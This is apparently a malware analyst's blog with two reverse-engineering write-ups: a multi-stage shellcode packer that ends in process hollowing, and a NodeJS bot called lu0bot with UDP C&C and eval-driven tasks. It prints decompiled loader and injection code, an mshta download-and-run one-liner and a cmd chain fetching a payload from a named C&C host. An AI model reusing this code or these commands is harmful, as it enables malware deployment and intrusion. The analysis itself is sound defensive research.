Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.

BOOL __stdcall VirtualProtect()
{
  char v1[4]; // [esp+4h] [ebp-4h] BYREF

  String = 0;
  lstrcatA(&String, "VertualBritect");          // No ragrets
  byte_442581 = 'i';
  byte_442587 = 'P';
  byte_442589 = 'o';
  pVirtualProtect = GetProcAddress(hKernel32, &String);
  return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}

Decrypting the the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it’s simple and easy to used

void Decrypt()
{
  SIZE_T size;
  PVOID sc; 
  SIZE_T i; 

  size = uBytes;
  sc = Shellcode;
  for ( i = size >> 3; i; --i )
  {
    _TEADecrypt(sc);                   
    sc = sc + 8;                  // +8 due it's v[0] & v[1] with TEA Algorithm
  }
}

I am always skeptical whenever i’m reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let’s take our time to just make sure about which variable we have to identified:

• v[0] and v[1]
• y & z
• Number of circles (n=32)
• 16 bytes key represented as k[0], k[1], k[2], k[3]
• delta
• sum

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

int *__stdcall _TEADecrypt(int *v)
{
  unsigned int y, z, sum;
  int i, v7, v8, v9, v10, k[4]; 
  int *result;

  y = *v;
  z = v[1];
  sum = 0xC6EF3720;

  k[0] = dword_440150;
  k[1] = dword_440154;
  k[3] = dword_440158;
  k[2] = dword_44015C;

  i = 32;
  do
  {
    // Junk code purged
    v7 = k[2] + (y >> 5);
    v9 = (sum + y) ^ (k[3] + 16 * y);
    v8 = v9 ^ v7;
    z -= v8;
    v10 = k[0] + 16 * z;
    (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
    sum += 0x61C88647;  // exact equivalent of sum -= 0x9
    --i;
  }

  while ( i );
  result = v;
  v[1] = z;
  *v = y;
  return result;
}

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

Stage 2 – Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

• One focused for saving fundamentals WinAPI call
  • LoadLibraryA
  • GetProcAddress
• Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

Shellcode main()

Give my WinAPI calls

Disclamer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDllName

Like any another shellcode, it needs to get some address function to start its job, so our PEB best friend is there to do the job.

00965233 | 55                       | push ebp                                      |
00965234 | 8BEC                     | mov ebp,esp                                   |
00965236 | 53                       | push ebx                                      |
00965237 | 56                       | push esi                                      |
00965238 | 57                       | push edi                                      |
00965239 | 51                       | push ecx                                      |
0096523A | 64:FF35 30000000         | push dword ptr fs:[30]                        | Pointer to PEB
00965241 | 58                       | pop eax                                       |
00965242 | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]                  | Pointer to Ldr
00965245 | 8B48 0C                  | mov ecx,dword ptr ds:[eax+C]                  | Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)

Let’s take a look then in the PEB structure

For beginners, i sorted all these values with there respective variable names and meaning.

Because he wants at the first the BaseDllName for getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it’s pointing to 0x30

008F524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]   

It means, It will grab buffer pointer from the UNICODE_STRING structure

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

After that, the magic appears

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer 
0096524D | 6A 02                    | push 2                                        | Increment is 2 due to UNICODE value
0096524F | 8B7D 08                  | mov edi,dword ptr ss:[ebp+8]                  |
00965252 | 57                       | push edi                                      | DLL Hash (searched one)
00965253 | 50                       | push eax                                      | DLL Name
00965254 | E8 5B000000              | call 9652B4                                   | Checksum()
00965259 | 85C0                     | test eax,eax                                  |
0096525B | 74 04                    | je 965261                                     |
0096525D | 8BCA                     | mov ecx,edx                                   | pEntry = pEntry->Flink
0096525F | EB E7                    | jmp 965248                                    |

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it’s negligible. Otherwise yeah, it could be fucked up very quickly.

BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
  int pos; // ecx
  int checksum; // ebx
  int c; // edx

  pos = 0;
  checksum = 0;
  c = 0;
  do
  {
    LOBYTE(c) = *pBuffer | 0x60;                // Lowercase
    checksum = 2 * (c + checksum);
    pBuffer += i;                               // +2 due it's UNICODE
    LOBYTE(pos) = *pBuffer;
    --pos;
  }
  while ( *pBuffer && pos );
  return checksum != hash;
}

Find the correct function address

With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18                  | mov eax,dword ptr ds:[ecx+18]                 | BaseAddress
00965264 | 50                       | push eax                                      |
00965265 | 8B58 3C                  | mov ebx,dword ptr ds:[eax+3C]                 | PE Signature (e_lfanew) RVA
00965268 | 03C3                     | add eax,ebx                                   | pNTHeader = BaseAddress + PE Signature RVA
0096526A | 8B58 78                  | mov ebx,dword ptr ds:[eax+78]                 | Export Table RVA
0096526D | 58                       | pop eax                                       |
0096526E | 50                       | push eax                                      |
0096526F | 03D8                     | add ebx,eax                                   | Export Table
00965271 | 8B4B 1C                  | mov ecx,dword ptr ds:[ebx+1C]                 | Address of Functions RVA
00965274 | 8B53 20                  | mov edx,dword ptr ds:[ebx+20]                 | Address of Names RVA
00965277 | 8B5B 24                  | mov ebx,dword ptr ds:[ebx+24]                 | Address of Name Ordinals RVA
0096527A | 03C8                     | add ecx,eax                                   | Address Table
0096527C | 03D0                     | add edx,eax                                   | Name Pointer Table (NPT)
0096527E | 03D8                     | add ebx,eax                                   | Ordinal Table (OT)
00965280 | 8B32                     | mov esi,dword ptr ds:[edx]                    |
00965282 | 58                       | pop eax                                       |
00965283 | 50                       | push eax                                      | BaseAddress
00965284 | 03F0                     | add esi,eax                                   | Function Name = NPT[i] + BaseAddress
00965286 | 6A 01                    | push 1                                        | Increment to 1 loop
00965288 | FF75 0C                  | push dword ptr ss:[ebp+C]                     | Function Hash (searched one)
0096528B | 56                       | push esi                                      | Function Name
0096528C | E8 23000000              | call 9652B4                                   | Checksum()
00965291 | 85C0                     | test eax,eax                                  |
00965293 | 74 08                    | je 96529D                                     |
00965295 | 83C2 04                  | add edx,4                                     |
00965298 | 83C3 02                  | add ebx,2                                     |
0096529B | EB E3                    | jmp 965280                                    |

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

0096529D | 58                       | pop eax                                       |
0096529E | 33D2                     | xor edx,edx                                   | Purge
009652A0 | 66:8B13                  | mov dx,word ptr ds:[ebx]                      |
009652A3 | C1E2 02                  | shl edx,2                                     | Ordinal Value
009652A6 | 03CA                     | add ecx,edx                                   | Function Address RVA
009652A8 | 0301                     | add eax,dword ptr ds:[ecx]                    | Function Address = BaseAddress + Function Address RVA
009652AA | 59                       | pop ecx                                       |
009652AB | 5F                       | pop edi                                       |
009652AC | 5E                       | pop esi                                       |
009652AD | 5B                       | pop ebx                                       |
009652AE | 8BE5                     | mov esp,ebp                                   |
009652B0 | 5D                       | pop ebp                                       |
009652B1 | C2 0800                  | ret 8                                         |

Road to the second shellcode ! \o/

Saving API into a structure

Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.

In the end, the shellcode is completely setup

struct SHELLCODE
{
  _BYTE Start;
  SCHEADER *ScHeader;
  int ScStartOffset;
  int seed;
  int (__stdcall *pLoadLibraryA)(int *);
  int (__stdcall *pGetProcAddress)(int, int *);
  PVOID GlobalAlloc;
  PVOID GetLastError;
  PVOID Sleep;
  PVOID VirtuaAlloc;
  PVOID CreateToolhelp32Snapshot;
  PVOID Module32First;
  PVOID CloseHandle;
};

struct SCHEADER
{
  _DWORD dwSize;
  _DWORD dwSeed;
  _BYTE option;
  _DWORD dwDecompressedSize;
};

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it’s somewhat amazing. The more absurd it is, the more i like and i found this really clever.

int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
  unsigned int i; // ebx
  int hModule; // edi
  int lpme[137]; // [esp+Ch] [ebp-224h] BYREF

  lpme[0] = 0x224;
  for ( i = 0; i < 0x64; ++i )
  {
    if ( i )
      (sc->Sleep)(100);
    hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
    if ( hModule != -1 )
      break;
    if ( (sc->GetLastError)() != 24 )
      break;
  }
  if ( (sc->Module32First)(hModule, lpme) )
    JumpToShellcode(sc); // <------ This is where to look :)
  return (sc->CloseHandle)(hModule);
}

Allocation & preparing new shellcode

void __cdecl JumpToShellcode(SHELLCODE *SC)
{
  int i; 
  unsigned __int8 *lpvAddr; 
  unsigned __int8 *StartOffset; 

  StartOffset = SC->ScStartOffset;
  Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
  if ( SC->ScHeader->Option )
  {
    lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
    i = 0;
    Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
    StartOffset = lpvAddr;
    SC->ScHeader->CompressSize = i;
  }
  __asm { jmp     [ebp+StartOffset] }

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER. 

int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
  int seed; // eax
  unsigned int count; // esi
  _BYTE *v6; // edx

  seed = s;
  count = 0;
  for ( API->seed = s; count < size; ++count )
  {
    seed = ms_rand(sc);
    *v6 ^= seed;
  }
  return seed;
}

XOR everywhere \o/

Then when it’s done, it only needs to be decompressed.

Decrypted shellcode entering into the decompression loop

Stage 3 – Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

• Find & Stored GetProcAddress & Load Library
• Saving all WinAPI functions required
• Pushing the payload

The structure from this one is a bit longer

struct SHELLCODE
{
  PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
  PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
  char notused;
  PVOID ScOffset;
  PVOID LoadLibraryA;
  PVOID MessageBoxA;
  PVOID GetMessageExtraInfo;
  PVOID hKernel32;
  PVOID WinExec;
  PVOID CreateFileA;
  PVOID WriteFile;
  PVOID CloseHandle;
  PVOID CreateProcessA;
  PVOID GetThreadContext;
  PVOID VirtualAlloc;
  PVOID VirtualAllocEx;
  PVOID VirtualFree;
  PVOID ReadProcessMemory;
  PVOID WriteProcessMemory;
  PVOID SetThreadContext;
  PVOID ResumeThread;
  PVOID WaitForSingleObject;
  PVOID GetModuleFileNameA;
  PVOID GetCommandLineA;
  PVOID RegisterClassExA;
  PVOID CreateWindowA;
  PVOID PostMessageA;
  PVOID GetMessageA;
  PVOID DefWindowProcA;
  PVOID GetFileAttributesA;
  PVOID hNtdll;
  PVOID NtUnmapViewOfSection;
  PVOID NtWriteVirtualMemory;
  PVOID GetStartupInfoA;
  PVOID VirtualProtectEx;
  PVOID ExitProcess;
};

Interestingly, the stack string trick is different from the first stage

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable “j” is the only one that have a sense.

void __cdecl _Inject(SC *sc)
{
  LPSTRING lpFileName; // [esp+0h] [ebp-14h]
  char magic[8]; 
  unsigned int j; 
  int i; 

  strcpy(magic, "apfHQ");
  j = 0;
  i = 0;
  while ( i != 111 )
  {
    lpFileName = (sc->GetFileAttributesA)(magic);
    if ( j > 1 && lpFileName != 0x637ADF )
    {
      i = 111;
      SetupInject(sc);
    }
    ++j;
  }
}

Good ol’ remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

  ScOffset = sc->ScOffset;
  pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
  lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
  status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
  
  if ( pNtHeader->Signature == 0x4550 ) // "PE"
  {
    (sc->GetStartupInfoA)(&lpStartupInfo);
    lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo, &lpProcessInformation);
    status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
    if ( status )
    {
      (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
      lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
      lpContext->ContextFlags = &loc_10005 + 2;
      status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
      if ( status )
      {
        (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8, &BaseAddress, 4, 0);
        if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
          (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
        lpBaseAddress = (sc->VirtualAllocEx)(
                          lpProcessInformation.hProcess,
                          pNtHeader->OptionalHeader.ImageBase,
                          pNtHeader->OptionalHeader.SizeOfImage,
                          0x3000,
                          0x40);
        (sc->NtWriteVirtualMemory)(
          lpProcessInformation.hProcess,
          lpBaseAddress,
          sc->ScOffset,
          pNtHeader->OptionalHeader.SizeOfHeaders,
          0);
        for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
        {
          Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
          (sc->NtWriteVirtualMemory)(
            lpProcessInformation.hProcess,
            Section[1].Size + lpBaseAddress,
            Section[2].Size + sc->ScOffset,
            Section[2].VirtualAddress,
            0);
        }
        (sc->WriteProcessMemory)(
          lpProcessInformation.hProcess,
          lpContext->Ebx + 8,
          &pNtHeader->OptionalHeader.ImageBase,
          4,
          0);
        lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint + lpBaseAddress;
        (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
        (sc->ResumeThread)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hThread);
        (sc->CloseHandle)(lpProcessInformation.hProcess);
        status = (sc->ExitProcess)(0);
      }
    }
  }

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).

Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it’s the exact copy pasta from the shellcode side.

TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

Shellcode n°1 is identical into two different campaign waves

It seems that the second shellcode changed few hours ago (at the date of this paper), so let’s see if other are motivated to make their own analysis of it

Conclusion

Well well, it’s cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.

Well, now it’s time to go serious for the next release

Stay safe in those weird times o/

In February/March 2021, A curious lightweight payload has been observed from a well-known load seller platform. At the opposite of classic info-stealers being pushed at an industrial level, this one is widely different in the current landscape/trends. Feeling being in front of a grey box is somewhat a stressful problem, where you have no idea about what it could be behind and how it works, but in another way, it also means that you will learn way more than a usual standard investigation.

I didn’t feel like this since Qulab and at that time, this AutoIT malware gave me some headaches due to its packer. but after cleaning it and realizing it’s rudimentary, the challenge was over. In this case, analyzing NodeJS malware is definitely another approach.

I will just expose some current findings of it, I don’t have all answers, but at least, it will door opened for further researches.

Disclaimer: I don’t know the real name of this malware.

Minimalist C/C++ loader

When lu0bot is deployed on a machine, the first stage is a 2.5 ko lightweight payload which has only two section headers.

Written in C/C++, only one function has been developped.

void start()
{
  char *buff; 

  buff = CmdLine;
  do
  {
    buff -= 'NPJO';      // The key seems random after each build
    buff += 4;        
  }
  while ( v0 < &CmdLine[424] );
  WinExec(CmdLine, 0);   // ... to the moon ! \o/
  ExitProcess(0);
}

This rudimentary loop is focused on decrypting a buffer, unveiling then a one-line JavaScript code executed through WinExec()

Indeed, MSHTA is used executing this malicious script. So in term of monitoring, it’s easy to catch this interaction.

mshta "javascript: document.write();
42;
y = unescape('%312%7Eh%74t%70%3A%2F%2F%68r%692%2Ex%79z%2Fh%72i%2F%3F%321%616%654%62%7E%321%32').split('~');
103;
try {
    x = 'WinHttp';
    127;
    x = new ActiveXObject(x + '.' + x + 'Request.5.1');
    26;
    x.open('GET', y[1] + '&a=' + escape(window.navigator.userAgent), !1);
    192;
    x.send();
    37;
    y = 'ipt.S';
    72;
    new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);
    179;
} catch (e) {};
234;;
window.close();"

Setting up NodeJs

Following the script from above, it is designed to perform an HTTP GET request from a C&C (let’s say it’s the first C&C Layer). Then the response is executed as an ActiveXObject.

new ActiveXObject('WScr' + y + 'hell').Run(unescape(unescape(x.responseText)), 0, !2);

Let’s inspect the code (response) step by step

cmd /d/s/c cd /d "%ALLUSERSPROFILE%" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe [...]

• Set the console into %ALLUSERPROFILE% path
• Create fake folder DNTException

[...] || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);
           x.Open("GET",unescape(WScript.Arguments(0^)^),false^);
           x.Send(^);
           b = new ActiveXObject("ADODB.Stream"^);
           b.Type=1;
           b.Open(^);
           b.Write(x.ResponseBody^);
           b.SaveToFile(WScript.Arguments(1^),2^); 
           > get1618489872131.txt 
           & cscript /nologo /e:jscript get1618489872131.txt "http://hri2.xyz/hri/?%HEXVALUE%&b=%HEXVALUE%" node.cab 
           & expand node.cab node.exe 
           & del get1618489872131.txt node.cab 
) [...]

• Generate a js code-focused into downloading a saving an archive that will be named “node.cab”
• Decompress the cab file with expand command and renamed it “node.exe”
• Delete all files that were generated when it’s done

[...] & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1618489872131.txt [...]

• Recreate a js script that will execute again some code

[...] cscript /nologo /e:jscript get1618489872131.txt "node -e eval(FIRST_STAGE_NODEJS_CODE)" & del get1618489872131.txt [...]

In the end, this whole process is designed for retrieving the required NodeJS runtime.

Matryoshka Doll(J)s

Luckily the code is in fact pretty well written and comprehensible at this layer. It is 20~ lines of code that will build the whole malware thanks to one and simple API call: eval.

From my own experience, I’m not usually confronted with malware using UDP protocol for communicating with C&C’s. Furthermore, I don’t think in the same way, it’s usual to switch from TCP to UDP like it was nothing. When I analyzed it for the first time, I found it odd to see so many noisy interactions in the machine with just two HTTP requests. Then I realized that I was watching the visible side of a gigantic iceberg…

For those who are uncomfortable with NodeJS, the script is designed to sent periodically UDP requests over port 19584 on two specific domains. When a message is received, it is decrypted with a standard XOR decryption loop, the output is a ready-to-use code that will be executed right after with eval. Interestingly the first byte of the response is also part of the key, so it means that every time a response is received, it is likely dynamically different even if it’s the same one.

In the end, lu0bot is basically working in that way

After digging into each code executed, It really feels that you are playing with matryoshka dolls, due to recursive eval loops unveiling more content/functions over time. It’s also the reason why this malware could be simple and complex at the same time if you aren’t experienced with this strategy.

For adding more nonsense it is using different encryption algorithms whatever during communications or storing variables content:

• XOR
• AES-128-CBC
• Diffie-Hellman
• Blowfish

Understanding Lu0bot variables

S (as Socket)

• Fundamental Variable
• UDP communications with C&C’s
• Receiving main classes/variables
• Executing “main branches” code

function om1(r,q,m)      # Object Message 1
 |--> r # Remote Address Information
 |--> q # Query 
 |--> m # Message

function c1r(m,o,d)       # Call 1 Response
 |--> m # Message
 |--> o # Object
 |--> d # Data

function sc/c1/c2/c3(m,r) # SetupCall/Call1/Call2/Call3
 |--> m # Message
 |--> r # Remote Address Information

function ss(p,q,c,d)      # ScriptSetup / SocketSetup
 |--> p # Personal ID
 |--> q # Query 
 |--> c # Crypto/Cipher
 |--> d # Data

function f()              # UDP C2 communications

KO (as Key Object ?)

• lu0bot mastermind
• Containing all bot information
  • C&C side
  • Client side
• storing fundamental handle functions for task manager(s)
  • eval | buffer | file

ko {
    pid:     # Personal ID
    aid:     # Address ID (C2)
    q:       # Query
    t:       # Timestamp
    lq: {
             # Query List
    },
    pk:      # Public Key
    k:       # Key
    mp: {},  # Module Packet/Package 
    mp_new: [Function: mp_new],        # New Packet/Package in the queue
    mp_get: [Function: mp_get],        # Get Packet/Package from the queue
    mp_count: [Function: mp_count],    # Packer/Package Counter
    mp_loss: [Function: mp_loss],      # ???
    mp_del: [Function: mp_del],        # Delete Packet/Package from the queue
    mp_dtchk: [Function: mp_dtchk],    # Data Check
    mp_dtsum: [Function: mp_dtsum],    # Data Sum
    mp_pset: [Function: mp_pset],      # Updating Packet/Package from the queue
    h: {                               # Handle
        eval: [Function],              
        bufwrite: [Function],
        bufread: [Function],
        filewrite: [Function],
        fileread: [Function]
    },
    mp_opnew: [Function: mp_opnew],    # Create New
    mp_opstat: [Function: mp_opstat],  # get stats from MP
    mp_pget: [Function],               # Get Packet/Package from MP
    mp_pget_ev: [Function]             # Get Packet/Package Timer Intervals
}

MP

• Module Package/Packet/Program ?
• Monitoring and logging an executed task/script.

mp:                              
   { key:                        # Key is Personal ID
      { id:  ,                   # Key ID (Event ID)
        pid: ,                   # Personal ID
        gen:  ,                  # Starting Timestamp
        last: ,                  # Last Tick Update
        tmr: [Object],           # Timer
        p: {},                   # Package/Packet
        psz:                     # Package/Packet Size
        btotal:                  # ???
        type: 'upload',          # Upload/Download type
        hn: 'bufread',           # Handle name called
        target: 'binit',         # Script name called (From C&C)
        fp: ,                    # Buffer
        size: ,                  # Size
        fcb: [Function],         # FailCallBack
        rcb: [Function],         # ???
        interval: 200,           # Internval Timer
        last_sev: 1622641866909, # Last Timer Event
        stmr: false              # Script Timer
}

Ingenious trick for calling functions dynamically

Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.

function sc(m, r) {
    if (!m || m.length < 34) return;
    m[16] ^= m[2];
    m[17] ^= m[3];
    var l = m.readUInt16BE(16);
    if (18 + l > m.length) return;
    var ko = s.pk[r.address + ' ' + r.port];
    var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
    m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
    m = {
        q: m.readUInt32BE(0),
        c: m.readUInt16BE(4),
        ko: ko,
        d: m.slice(6)
    };
    l = 'c' + m.c;        // Function name is now saved
    if (s[l]) s[l](m, r);
}

As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.

By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.

Buffer.readUInt16BE( offset )

In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).

A well-done task manager architecture

Q variable used as Macro PoV Task Manager

• “Q” is designed to be the main task manager.
• If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).

if (!lq[q]) {                               // if query not in the queue, creating it
    lq[q] = [0, false];
    setTimeout(function() {
        delete lq[q]
    }, 30000);
    try {
        for (var p = 0; p < m.d.length; p++)
            if (!m.d[p]) break;
        var es = m.d.slice(0, p).toString(); // es -> Execute Script
        m.d = m.d.slice(p + 1);
        if (!m.d.length) m.d = false;
        eval(es)                             // eval, our sweat eval...
    } catch (e) {
        console.log(e);
    }
    return;
}
if (lq[q][0]) {
    s.ss(ko.pid, q, 1, lq[q][1]);
}

MP variable used as Micro PoV Task Manager

• “MP” is designed to execute tasks coming from C&C’s.
• Each task is executed independantly!

function mp_opnew(m) {

    var o = false;                       // o -> object
    try {
        o = JSON.parse(m.d);             // m.d (message.data) is saved into o
    } catch (e) {}
    if (!o || !o.id) return c1r(m, -1);  // if o empty, or no id, returning -1 
    if (!ko.h[o.hn]) return c1r(m, -2);  // if no functions set from hn, returning -2
    var mp = ko.mp_new(o.id);            // Creating mp ---------------------------
    for (var k in o) mp[k] = o[k];                                                |
    var hr = ko.h[o.hn](mp);                                                      |
    if (!hr) {                                                                    |
        ko.mp_del(mp);                                                            |
        return c1r(m, -3)                // if hr is incomplete, returning -3     |
    }                                                                             |
    c1r(m, hr);                          // returning hr                          |                                                                                             
}                                                                                 |
                                                                                  |
function mp_new(id, ivl) {    <----------------------------------------------------
    var ivl = ivl ? ivl : 5000;          // ivl -> interval
    var now = Date.now();        
    if (!lmp[id]) lmp[id] = {            // mp list 
        id: id,
        pid: ko.pid,
        gen: now,
        last: now,
        tmr: false,
        p: {},
        psz: 0,
        btotal: 0
    };
    var mp = lmp[id];
    if (!mp.tmr) mp.tmr = setInterval(function() {
        if (Date.now() - mp.last > 1000 * 120) {
            ko.mp_del(id);
            return;
        }
        if (mp.tcb) mp.tcb(mp);
    }, ivl);
    mp.last = now;
    return mp;
}

O (Object) – C&C Task

This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..

• It contains 4 or 5 values
  • type.
    • upload
    • download
  • hn : Handle Name
  • sz: Size (Before Zlib decompression)
  • psz: ???
  • target: name of the command/script received from C&C

// o content
{ 
        id: 'XXXXXXXXXXXXXXXXX',
        type: 'upload',
        hn: 'eval',
        sz: 9730,
        psz: 1163,
        target: 'bootstrap-base.js',
} 

on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.

Summary

Aggressive telemetry harvester

Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.

Preparing environment

Gathering system information

Process info

tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *

Network info

ipconfig.exe /all
route.exe print
netstat.exe -ano
systeminfo.exe /fo csv

Saving Environment & User path(s)

EI_DESKTOP
  |--> st.env['EI_HOME'] + '\\Desktop';
EI_DOCUMENTS 
  |--> st.env['EI_HOME'] + '\\Documents';
  |--> st.env['EI_HOME'] + '\\My Documents';
EI_PROGRAMFILES1
  |--> var tdir1 = exports.env_get('ProgramFiles');
  |--> var tdir2 = exports.env_get('ProgramFiles(x86)');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files (x86)';
EI_PROGRAMFILES2
  |--> var tdir3 = exports.env_get('ProgramW6432');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files';
EI_DOWNLOADS
  |-->  st.env['EI_HOME'] + '\\Downloads';

Console information

These two variables are basically conditions to check if the process was performed. (ISCONPROBED is set to true when the whole thing is complete).

env["ISCONPROBED"] = false;
env["ISCONSOLE"] = true;

Required values for completing the task..

env["WINDIR"] = val;
env["TEMP"] = val;
env["USERNAME_RUN"] = val;
env["USERNAME"] =  val;
env["USERNAME_SID"] = s;
env["ALLUSERSPROFILE"] = val;
env["APPDATA"] = val;

Checking old windows versions

Curiously, it’s checking if the bot is using an old Microsoft Windows version.

• NT 5.X – Windows 2000/XP
• NT 6.0 – Vista

function check_oldwin(){
    var osr = os.release();

    if(osr.indexOf('5.')===0 || osr.indexOf('6.0')===0) return osr;

    return false;
}
exports.check_oldwin = check_oldwin;

This is basically a condition after for using an alternative command with pslist

function ps_list_alt(cb){
    var cmd = ['qprocess','*'];
    if(check_oldwin()) cmd.push('/system');
   ....

Checking ADS streams for hiding content into it for later

Harvesting functions 101

bufstore_save(key,val,opts)         # Save Buffer Storage 
bufstore_get(key,clear)             # Get Buffer Storage 
strstrip(str)                       # String Strip
name_dirty_fncmp(f1,f2)             # Filename Compare (Dirty)
dirvalidate_dirty(file)             # Directory Checking (Dirty)
file_checkbusy(file)                # Checking if file is used
run_detached(args,opts,show)        # Executing command detached
run(args,opts,cb)                   # Run command
check_oldwin()                      # Check if Bot OS is NT 5.0 or NT 6.0
ps_list_alt(cb)                     # PS List (Alternative way)
ps_list_tree(list,results,opts,pid) # PS List Tree
ps_list(arg,cb)                     # PS list 
ps_exist(pid)                       # Check if PID Exist
ps_kill(pid)                        # Kill PID
reg_get_parse(out)                  # Parsing Registry Query Result
reg_hkcu_get()                      # Get HKCU
reg_hkcu_replace(path)              # Replace HKCU Path
reg_get(key,cb)                     # Get Content
reg_get_dir(key,cb)                 # Get Directory
reg_get_key(key,cb)                 # Get SubKey
reg_set_key(key,value,type,cb)      # Set SubKey
reg_del_key(key,force,cb)           # Del SubKey
get_einfo_1(ext,cb)                 # Get EINFO Step 1
dirlistinfo(dir,limit)              # Directory Listing info 
get_einfo_2(fcb)                    # Get EINFO Step 2
env_get(key,kv,skiple)              # Get Environment
console_get(cb)                     # Get Console environment variables
console_get_done(cb,err)            # Console Try/Catch callback
